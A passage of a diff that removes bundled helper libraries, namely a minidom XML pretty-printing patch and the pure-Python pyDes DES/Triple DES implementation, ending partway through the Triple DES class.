-
-#Copyright (c) 2010, Miroslav Stampar <[email protected]>
-#Added formatXML method
-
-#Copyright (c) 2010, Chris Hall <[email protected]>
-#All rights reserved.
-
-#Redistribution and use in source and binary forms, with or without modification,
-#are permitted provided that the following conditions are met:
-
-#* Redistributions of source code must retain the above copyright notice,
-#this list of conditions and the following disclaimer.
-#* Redistributions in binary form must reproduce the above copyright notice,
-#this list of conditions and the following disclaimer in the documentation
-#and/or other materials provided with the distribution.
-
-#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
-#ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-#DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
-#ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
-#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
-#LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
-#ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-#(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
-#SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
-
-from xml.dom import minidom
-from xml.dom import Node
-
-def format(text):
-        doc = minidom.parseString(text)
-        root = doc.childNodes[0]
-        return root.toprettyxml(indent='  ')
-
-def formatXML(doc, encoding=None):
-        root = doc.childNodes[0]
-        return root.toprettyxml(indent='  ', encoding=encoding)
-
-def _patch_minidom():
-        minidom.Text.writexml = _writexml_text
-        minidom.Element.writexml = _writexml_element
-        minidom.Node.toprettyxml = _toprettyxml_node
-
-def _collapse(node):
-        for child in node.childNodes:
-                if child.nodeType == Node.TEXT_NODE and len(child.data.strip()) == 0:
-                        child.data = ''
-                else:
-                        _collapse(child)
-
-def _writexml_text(self, writer, indent="", addindent="", newl=""):
-        minidom._write_data(writer, "%s"%(self.data.strip()))
-
-def _writexml_element(self, writer, indent="", addindent="", newl=""):
-        # indent = current indentation
-        # addindent = indentation to add to higher levels
-        # newl = newline string
-        writer.write(indent+"<" + self.tagName)
-
-        attrs = self._get_attributes()
-        a_names = attrs.keys()
-        a_names.sort()
-
-        for a_name in a_names:
-                writer.write(" %s=\"" % a_name)
-                minidom._write_data(writer, attrs[a_name].value)
-                writer.write("\"")
-        if self.childNodes:
-                if self.childNodes[0].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0:
-                        writer.write(">")
-                else:
-                        writer.write(">%s"%(newl))
-                for node in self.childNodes:
-                        node.writexml(writer,indent+addindent,addindent,newl)
-                if self.childNodes[-1].nodeType == Node.TEXT_NODE and len(self.childNodes[0].data) > 0:
-                        writer.write("</%s>%s" % (self.tagName,newl))
-                else:
-                        writer.write("%s</%s>%s" % (indent,self.tagName,newl))
-        else:
-                writer.write("/>%s"%(newl))
-
-def _toprettyxml_node(self, indent="\t", newl="\n", encoding = None):
-        _collapse(self)
-        # indent = the indentation string to prepend, per level
-        # newl = the newline string to append
-        writer = minidom._get_StringIO()
-        if encoding is not None:
-                import codecs
-                # Can't use codecs.getwriter to preserve 2.0 compatibility
-                writer = codecs.lookup(encoding)[3](writer)
-        if self.nodeType == Node.DOCUMENT_NODE:
-                # Can pass encoding only to document, to put it into XML header
-                self.writexml(writer, "", indent, newl, encoding)
-        else:
-                self.writexml(writer, "", indent, newl)
-        return writer.getvalue()
-
-_patch_minidom()

extra/pydes/__init__.py

@@ -1,19 +0,0 @@
-#!/usr/bin/env python
-#
-# Copyright 2009 Todd Whiteman
-#
-# This program is free software: you can redistribute it and/or modify it
-# under the terms of the GNU Lesser General Public License as published
-# by the Free Software Foundation, either version 3 of the License, or
-# (at your option) any later version.
-#
-# This program is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-# GNU Lesser General Public License for more details.
-#
-# You should have received a copy of the GNU Lesser General Public License
-# along with this program.  If not, see <http://www.gnu.org/licenses/>.
-#
-
-pass

extra/pydes/pyDes.py

@@ -1,852 +0,0 @@
-#############################################################################
-# 				Documentation				    #
-#############################################################################
-
-# Author:   Todd Whiteman
-# Date:     16th March, 2009
-# Verion:   2.0.0
-# License:  Public Domain - free to do as you wish
-# Homepage: http://twhiteman.netfirms.com/des.html
-#
-# This is a pure python implementation of the DES encryption algorithm.
-# It's pure python to avoid portability issues, since most DES 
-# implementations are programmed in C (for performance reasons).
-#
-# Triple DES class is also implemented, utilising the DES base. Triple DES
-# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
-#
-# See the README.txt that should come with this python module for the
-# implementation methods used.
-#
-# Thanks to:
-#  * David Broadwell for ideas, comments and suggestions.
-#  * Mario Wolff for pointing out and debugging some triple des CBC errors.
-#  * Santiago Palladino for providing the PKCS5 padding technique.
-#  * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
-#
-"""A pure python implementation of the DES and TRIPLE DES encryption algorithms.
-
-Class initialization
---------------------
-pyDes.des(key, [mode], [IV], [pad], [padmode])
-pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
-
-key     -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
-	   for Triple DES
-mode    -> Optional argument for encryption type, can be either
-	   pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
-IV      -> Optional Initial Value bytes, must be supplied if using CBC mode.
-	   Length must be 8 bytes.
-pad     -> Optional argument, set the pad character (PAD_NORMAL) to use during
-	   all encrypt/decrpt operations done with this instance.
-padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
-	   to use during all encrypt/decrpt operations done with this instance.
-
-I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
-padding issues, as the padding can be removed unambiguously upon decrypting
-data that was encrypted using PAD_PKCS5 padmode.
-
-Common methods
---------------
-encrypt(data, [pad], [padmode])
-decrypt(data, [pad], [padmode])
-
-data    -> Bytes to be encrypted/decrypted
-pad     -> Optional argument. Only when using padmode of PAD_NORMAL. For
-	   encryption, adds this characters to the end of the data block when
-	   data is not a multiple of 8 bytes. For decryption, will remove the
-	   trailing characters that match this pad character from the last 8
-	   bytes of the unencrypted data block.
-padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
-	   or PAD_PKCS5). Defaults to PAD_NORMAL.
-
-
-Example
--------
-from pyDes import *
-
-data = "Please encrypt my data"
-k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
-# For Python3, you'll need to use bytes, i.e.:
-#   data = b"Please encrypt my data"
-#   k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
-d = k.encrypt(data)
-print "Encrypted: %r" % d
-print "Decrypted: %r" % k.decrypt(d)
-assert k.decrypt(d, padmode=PAD_PKCS5) == data
-
-
-See the module source (pyDes.py) for more examples of use.
-You can also run the pyDes.py file without and arguments to see a simple test.
-
-Note: This code was not written for high-end systems needing a fast
-      implementation, but rather a handy portable solution with small usage.
-
-"""
-
-import sys
-
-# _pythonMajorVersion is used to handle Python2 and Python3 differences.
-_pythonMajorVersion = sys.version_info[0]
-
-# Modes of crypting / cyphering
-ECB =	0
-CBC =	1
-
-# Modes of padding
-PAD_NORMAL = 1
-PAD_PKCS5 = 2
-
-# PAD_PKCS5: is a method that will unambiguously remove all padding
-#            characters after decryption, when originally encrypted with
-#            this padding mode.
-# For a good description of the PKCS5 padding technique, see:
-# http://www.faqs.org/rfcs/rfc1423.html
-
-# The base class shared by des and triple des.
-class _baseDes(object):
-	def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
-		if IV:
-			IV = self._guardAgainstUnicode(IV)
-		if pad:
-			pad = self._guardAgainstUnicode(pad)
-		self.block_size = 8
-		# Sanity checking of arguments.
-		if pad and padmode == PAD_PKCS5:
-			raise ValueError("Cannot use a pad character with PAD_PKCS5")
-		if IV and len(IV) != self.block_size:
-			raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
-
-		# Set the passed in variables
-		self._mode = mode
-		self._iv = IV
-		self._padding = pad
-		self._padmode = padmode
-
-	def getKey(self):
-		"""getKey() -> bytes"""
-		return self.__key
-
-	def setKey(self, key):
-		"""Will set the crypting key for this object."""
-		key = self._guardAgainstUnicode(key)
-		self.__key = key
-
-	def getMode(self):
-		"""getMode() -> pyDes.ECB or pyDes.CBC"""
-		return self._mode
-
-	def setMode(self, mode):
-		"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
-		self._mode = mode
-
-	def getPadding(self):
-		"""getPadding() -> bytes of length 1. Padding character."""
-		return self._padding
-
-	def setPadding(self, pad):
-		"""setPadding() -> bytes of length 1. Padding character."""
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		self._padding = pad
-
-	def getPadMode(self):
-		"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
-		return self._padmode
-
-	def setPadMode(self, mode):
-		"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
-		self._padmode = mode
-
-	def getIV(self):
-		"""getIV() -> bytes"""
-		return self._iv
-
-	def setIV(self, IV):
-		"""Will set the Initial Value, used in conjunction with CBC mode"""
-		if not IV or len(IV) != self.block_size:
-			raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
-		IV = self._guardAgainstUnicode(IV)
-		self._iv = IV
-
-	def _padData(self, data, pad, padmode):
-		# Pad data depending on the mode
-		if padmode is None:
-			# Get the default padding mode.
-			padmode = self.getPadMode()
-		if pad and padmode == PAD_PKCS5:
-			raise ValueError("Cannot use a pad character with PAD_PKCS5")
-
-		if padmode == PAD_NORMAL:
-			if len(data) % self.block_size == 0:
-				# No padding required.
-				return data
-
-			if not pad:
-				# Get the default padding.
-				pad = self.getPadding()
-			if not pad:
-				raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
-			data += (self.block_size - (len(data) % self.block_size)) * pad
-
-		elif padmode == PAD_PKCS5:
-			pad_len = 8 - (len(data) % self.block_size)
-			if _pythonMajorVersion < 3:
-				data += pad_len * chr(pad_len)
-			else:
-				data += bytes([pad_len] * pad_len)
-
-		return data
-
-	def _unpadData(self, data, pad, padmode):
-		# Unpad data depending on the mode.
-		if not data:
-			return data
-		if pad and padmode == PAD_PKCS5:
-			raise ValueError("Cannot use a pad character with PAD_PKCS5")
-		if padmode is None:
-			# Get the default padding mode.
-			padmode = self.getPadMode()
-
-		if padmode == PAD_NORMAL:
-			if not pad:
-				# Get the default padding.
-				pad = self.getPadding()
-			if pad:
-				data = data[:-self.block_size] + \
-				       data[-self.block_size:].rstrip(pad)
-
-		elif padmode == PAD_PKCS5:
-			if _pythonMajorVersion < 3:
-				pad_len = ord(data[-1])
-			else:
-				pad_len = data[-1]
-			data = data[:-pad_len]
-
-		return data
-
-	def _guardAgainstUnicode(self, data):
-		# Only accept byte strings or ascii unicode values, otherwise
-		# there is no way to correctly decode the data into bytes.
-		if _pythonMajorVersion < 3:
-			if isinstance(data, unicode):
-				data = data.encode('utf8')
-		else:
-			if isinstance(data, str):
-				# Only accept ascii unicode values.
-				try:
-					return data.encode('ascii')
-				except UnicodeEncodeError:
-					pass
-				raise ValueError("pyDes can only work with encoded strings, not Unicode.")
-		return data
-
-#############################################################################
-# 				    DES					    #
-#############################################################################
-class des(_baseDes):
-	"""DES encryption/decrytpion class
-
-	Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
-
-	pyDes.des(key,[mode], [IV])
-
-	key  -> Bytes containing the encryption key, must be exactly 8 bytes
-	mode -> Optional argument for encryption type, can be either pyDes.ECB
-		(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
-	IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.
-		Must be 8 bytes in length.
-	pad  -> Optional argument, set the pad character (PAD_NORMAL) to use
-		during all encrypt/decrpt operations done with this instance.
-	padmode -> Optional argument, set the padding mode (PAD_NORMAL or
-		PAD_PKCS5) to use during all encrypt/decrpt operations done
-		with this instance.
-	"""
-
-
-	# Permutation and translation tables for DES
-	__pc1 = [56, 48, 40, 32, 24, 16,  8,
-		  0, 57, 49, 41, 33, 25, 17,
-		  9,  1, 58, 50, 42, 34, 26,
-		 18, 10,  2, 59, 51, 43, 35,
-		 62, 54, 46, 38, 30, 22, 14,
-		  6, 61, 53, 45, 37, 29, 21,
-		 13,  5, 60, 52, 44, 36, 28,
-		 20, 12,  4, 27, 19, 11,  3
-	]
-
-	# number left rotations of pc1
-	__left_rotations = [
-		1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
-	]
-
-	# permuted choice key (table 2)
-	__pc2 = [
-		13, 16, 10, 23,  0,  4,
-		 2, 27, 14,  5, 20,  9,
-		22, 18, 11,  3, 25,  7,
-		15,  6, 26, 19, 12,  1,
-		40, 51, 30, 36, 46, 54,
-		29, 39, 50, 44, 32, 47,
-		43, 48, 38, 55, 33, 52,
-		45, 41, 49, 35, 28, 31
-	]
-
-	# initial permutation IP
-	__ip = [57, 49, 41, 33, 25, 17, 9,  1,
-		59, 51, 43, 35, 27, 19, 11, 3,
-		61, 53, 45, 37, 29, 21, 13, 5,
-		63, 55, 47, 39, 31, 23, 15, 7,
-		56, 48, 40, 32, 24, 16, 8,  0,
-		58, 50, 42, 34, 26, 18, 10, 2,
-		60, 52, 44, 36, 28, 20, 12, 4,
-		62, 54, 46, 38, 30, 22, 14, 6
-	]
-
-	# Expansion table for turning 32 bit blocks into 48 bits
-	__expansion_table = [
-		31,  0,  1,  2,  3,  4,
-		 3,  4,  5,  6,  7,  8,
-		 7,  8,  9, 10, 11, 12,
-		11, 12, 13, 14, 15, 16,
-		15, 16, 17, 18, 19, 20,
-		19, 20, 21, 22, 23, 24,
-		23, 24, 25, 26, 27, 28,
-		27, 28, 29, 30, 31,  0
-	]
-
-	# The (in)famous S-boxes
-	__sbox = [
-		# S1
-		[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
-		 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
-		 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
-		 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
-
-		# S2
-		[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
-		 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
-		 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
-		 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
-
-		# S3
-		[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
-		 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
-		 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
-		 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
-
-		# S4
-		[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
-		 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
-		 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
-		 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
-
-		# S5
-		[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
-		 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
-		 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
-		 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
-
-		# S6
-		[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
-		 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
-		 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
-		 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
-
-		# S7
-		[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
-		 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
-		 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
-		 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
-
-		# S8
-		[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
-		 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
-		 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
-		 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
-	]
-
-
-	# 32-bit permutation function P used on the output of the S-boxes
-	__p = [
-		15, 6, 19, 20, 28, 11,
-		27, 16, 0, 14, 22, 25,
-		4, 17, 30, 9, 1, 7,
-		23,13, 31, 26, 2, 8,
-		18, 12, 29, 5, 21, 10,
-		3, 24
-	]
-
-	# final permutation IP^-1
-	__fp = [
-		39,  7, 47, 15, 55, 23, 63, 31,
-		38,  6, 46, 14, 54, 22, 62, 30,
-		37,  5, 45, 13, 53, 21, 61, 29,
-		36,  4, 44, 12, 52, 20, 60, 28,
-		35,  3, 43, 11, 51, 19, 59, 27,
-		34,  2, 42, 10, 50, 18, 58, 26,
-		33,  1, 41,  9, 49, 17, 57, 25,
-		32,  0, 40,  8, 48, 16, 56, 24
-	]
-
-	# Type of crypting being done
-	ENCRYPT =	0x00
-	DECRYPT =	0x01
-
-	# Initialisation
-	def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
-		# Sanity checking of arguments.
-		if len(key) != 8:
-			raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
-		_baseDes.__init__(self, mode, IV, pad, padmode)
-		self.key_size = 8
-
-		self.L = []
-		self.R = []
-		self.Kn = [ [0] * 48 ] * 16	# 16 48-bit keys (K1 - K16)
-		self.final = []
-
-		self.setKey(key)
-
-	def setKey(self, key):
-		"""Will set the crypting key for this object. Must be 8 bytes."""
-		_baseDes.setKey(self, key)
-		self.__create_sub_keys()
-
-	def __String_to_BitList(self, data):
-		"""Turn the string data, into a list of bits (1, 0)'s"""
-		if _pythonMajorVersion < 3:
-			# Turn the strings into integers. Python 3 uses a bytes
-			# class, which already has this behaviour.
-			data = [ord(c) for c in data]
-		l = len(data) * 8
-		result = [0] * l
-		pos = 0
-		for ch in data:
-			i = 7
-			while i >= 0:
-				if ch & (1 << i) != 0:
-					result[pos] = 1
-				else:
-					result[pos] = 0
-				pos += 1
-				i -= 1
-
-		return result
-
-	def __BitList_to_String(self, data):
-		"""Turn the list of bits -> data, into a string"""
-		result = []
-		pos = 0
-		c = 0
-		while pos < len(data):
-			c += data[pos] << (7 - (pos % 8))
-			if (pos % 8) == 7:
-				result.append(c)
-				c = 0
-			pos += 1
-
-		if _pythonMajorVersion < 3:
-			return ''.join([ chr(c) for c in result ])
-		else:
-			return bytes(result)
-
-	def __permutate(self, table, block):
-		"""Permutate this block with the specified table"""
-		return list(map(lambda x: block[x], table))
-
-	# Transform the secret key, so that it is ready for data processing
-	# Create the 16 subkeys, K[1] - K[16]
-	def __create_sub_keys(self):
-		"""Create the 16 subkeys K[1] to K[16] from the given key"""
-		key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
-		i = 0
-		# Split into Left and Right sections
-		self.L = key[:28]
-		self.R = key[28:]
-		while i < 16:
-			j = 0
-			# Perform circular left shifts
-			while j < des.__left_rotations[i]:
-				self.L.append(self.L[0])
-				del self.L[0]
-
-				self.R.append(self.R[0])
-				del self.R[0]
-
-				j += 1
-
-			# Create one of the 16 subkeys through pc2 permutation
-			self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
-
-			i += 1
-
-	# Main part of the encryption algorithm, the number cruncher :)
-	def __des_crypt(self, block, crypt_type):
-		"""Crypt the block of data through DES bit-manipulation"""
-		block = self.__permutate(des.__ip, block)
-		self.L = block[:32]
-		self.R = block[32:]
-
-		# Encryption starts from Kn[1] through to Kn[16]
-		if crypt_type == des.ENCRYPT:
-			iteration = 0
-			iteration_adjustment = 1
-		# Decryption starts from Kn[16] down to Kn[1]
-		else:
-			iteration = 15
-			iteration_adjustment = -1
-
-		i = 0
-		while i < 16:
-			# Make a copy of R[i-1], this will later become L[i]
-			tempR = self.R[:]
-
-			# Permutate R[i - 1] to start creating R[i]
-			self.R = self.__permutate(des.__expansion_table, self.R)
-
-			# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
-			self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
-			B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
-			# Optimization: Replaced below commented code with above
-			#j = 0
-			#B = []
-			#while j < len(self.R):
-			#	self.R[j] = self.R[j] ^ self.Kn[iteration][j]
-			#	j += 1
-			#	if j % 6 == 0:
-			#		B.append(self.R[j-6:j])
-
-			# Permutate B[1] to B[8] using the S-Boxes
-			j = 0
-			Bn = [0] * 32
-			pos = 0
-			while j < 8:
-				# Work out the offsets
-				m = (B[j][0] << 1) + B[j][5]
-				n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
-
-				# Find the permutation value
-				v = des.__sbox[j][(m << 4) + n]
-
-				# Turn value into bits, add it to result: Bn
-				Bn[pos] = (v & 8) >> 3
-				Bn[pos + 1] = (v & 4) >> 2
-				Bn[pos + 2] = (v & 2) >> 1
-				Bn[pos + 3] = v & 1
-
-				pos += 4
-				j += 1
-
-			# Permutate the concatination of B[1] to B[8] (Bn)
-			self.R = self.__permutate(des.__p, Bn)
-
-			# Xor with L[i - 1]
-			self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
-			# Optimization: This now replaces the below commented code
-			#j = 0
-			#while j < len(self.R):
-			#	self.R[j] = self.R[j] ^ self.L[j]
-			#	j += 1
-
-			# L[i] becomes R[i - 1]
-			self.L = tempR
-
-			i += 1
-			iteration += iteration_adjustment
-
-		# Final permutation of R[16]L[16]
-		self.final = self.__permutate(des.__fp, self.R + self.L)
-		return self.final
-
-
-	# Data to be encrypted/decrypted
-	def crypt(self, data, crypt_type):
-		"""Crypt the data in blocks, running it through des_crypt()"""
-
-		# Error check the data
-		if not data:
-			return ''
-		if len(data) % self.block_size != 0:
-			if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
-				raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
-			if not self.getPadding():
-				raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
-			else:
-				data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
-			# print "Len of data: %f" % (len(data) / self.block_size)
-
-		if self.getMode() == CBC:
-			if self.getIV():
-				iv = self.__String_to_BitList(self.getIV())
-			else:
-				raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
-
-		# Split the data into blocks, crypting each one seperately
-		i = 0
-		dict = {}
-		result = []
-		#cached = 0
-		#lines = 0
-		while i < len(data):
-			# Test code for caching encryption results
-			#lines += 1
-			#if dict.has_key(data[i:i+8]):
-				#print "Cached result for: %s" % data[i:i+8]
-			#	cached += 1
-			#	result.append(dict[data[i:i+8]])
-			#	i += 8
-			#	continue
-
-			block = self.__String_to_BitList(data[i:i+8])
-
-			# Xor with IV if using CBC mode
-			if self.getMode() == CBC:
-				if crypt_type == des.ENCRYPT:
-					block = list(map(lambda x, y: x ^ y, block, iv))
-					#j = 0
-					#while j < len(block):
-					#	block[j] = block[j] ^ iv[j]
-					#	j += 1
-
-				processed_block = self.__des_crypt(block, crypt_type)
-
-				if crypt_type == des.DECRYPT:
-					processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
-					#j = 0
-					#while j < len(processed_block):
-					#	processed_block[j] = processed_block[j] ^ iv[j]
-					#	j += 1
-					iv = block
-				else:
-					iv = processed_block
-			else:
-				processed_block = self.__des_crypt(block, crypt_type)
-
-
-			# Add the resulting crypted block to our list
-			#d = self.__BitList_to_String(processed_block)
-			#result.append(d)
-			result.append(self.__BitList_to_String(processed_block))
-			#dict[data[i:i+8]] = d
-			i += 8
-
-		# print "Lines: %d, cached: %d" % (lines, cached)
-
-		# Return the full crypted string
-		if _pythonMajorVersion < 3:
-			return ''.join(result)
-		else:
-			return bytes.fromhex('').join(result)
-
-	def encrypt(self, data, pad=None, padmode=None):
-		"""encrypt(data, [pad], [padmode]) -> bytes
-
-		data : Bytes to be encrypted
-		pad  : Optional argument for encryption padding. Must only be one byte
-		padmode : Optional argument for overriding the padding mode.
-
-		The data must be a multiple of 8 bytes and will be encrypted
-		with the already specified key. Data does not have to be a
-		multiple of 8 bytes if the padding character is supplied, or
-		the padmode is set to PAD_PKCS5, as bytes will then added to
-		ensure the be padded data is a multiple of 8 bytes.
-		"""
-		data = self._guardAgainstUnicode(data)
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		data = self._padData(data, pad, padmode)
-		return self.crypt(data, des.ENCRYPT)
-
-	def decrypt(self, data, pad=None, padmode=None):
-		"""decrypt(data, [pad], [padmode]) -> bytes
-
-		data : Bytes to be encrypted
-		pad  : Optional argument for decryption padding. Must only be one byte
-		padmode : Optional argument for overriding the padding mode.
-
-		The data must be a multiple of 8 bytes and will be decrypted
-		with the already specified key. In PAD_NORMAL mode, if the
-		optional padding character is supplied, then the un-encrypted
-		data will have the padding characters removed from the end of
-		the bytes. This pad removal only occurs on the last 8 bytes of
-		the data (last data block). In PAD_PKCS5 mode, the special
-		padding end markers will be removed from the data after decrypting.
-		"""
-		data = self._guardAgainstUnicode(data)
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		data = self.crypt(data, des.DECRYPT)
-		return self._unpadData(data, pad, padmode)
-
-
-
-#############################################################################
-# 				Triple DES				    #
-#############################################################################
-class triple_des(_baseDes):
-	"""Triple DES encryption/decrytpion class
-
-	This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
-	the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
-	Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
-
-	pyDes.des(key, [mode], [IV])
-
-	key  -> Bytes containing the encryption key, must be either 16 or
-	        24 bytes long
-	mode -> Optional argument for encryption type, can be either pyDes.ECB
-		(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
-	IV   -> Optional Initial Value bytes, must be supplied if using CBC mode.
-		Must be 8 bytes in length.
-	pad  -> Optional argument, set the pad character (PAD_NORMAL) to use
-		during all encrypt/decrpt operations done with this instance.
-	padmode -> Optional argument, set the padding mode (PAD_NORMAL or
-		PAD_PKCS5) to use during all encrypt/decrpt operations done
-		with this instance.
-	"""
-	def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
-		_baseDes.__init__(self, mode, IV, pad, padmode)
-		self.setKey(key)
-
-	def setKey(self, key):
-		"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
-		self.key_size = 24  # Use DES-EDE3 mode
-		if len(key) != self.key_size:
-			if len(key) == 16: # Use DES-EDE2 mode
-				self.key_size = 16
-			else:
-				raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
-		if self.getMode() == CBC:
-			if not self.getIV():
-				# Use the first 8 bytes of the key
-				self._iv = key[:self.block_size]
-			if len(self.getIV()) != self.block_size:
-				raise ValueError("Invalid IV, must be 8 bytes in length")
-		self.__key1 = des(key[:8], self._mode, self._iv,
-				  self._padding, self._padmode)
-		self.__key2 = des(key[8:16], self._mode, self._iv,
-				  self._padding, self._padmode)
-		if self.key_size == 16:
-			self.__key3 = self.__key1
-		else:
-			self.__key3 = des(key[16:], self._mode, self._iv,
-					  self._padding, self._padmode)
-		_baseDes.setKey(self, key)
-
-	# Override setter methods to work on all 3 keys.
-
-	def setMode(self, mode):
-		"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
-		_baseDes.setMode(self, mode)
-		for key in (self.__key1, self.__key2, self.__key3):
-			key.setMode(mode)
-
-	def setPadding(self, pad):
-		"""setPadding() -> bytes of length 1. Padding character."""
-		_baseDes.setPadding(self, pad)
-		for key in (self.__key1, self.__key2, self.__key3):
-			key.setPadding(pad)
-
-	def setPadMode(self, mode):
-		"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
-		_baseDes.setPadMode(self, mode)
-		for key in (self.__key1, self.__key2, self.__key3):
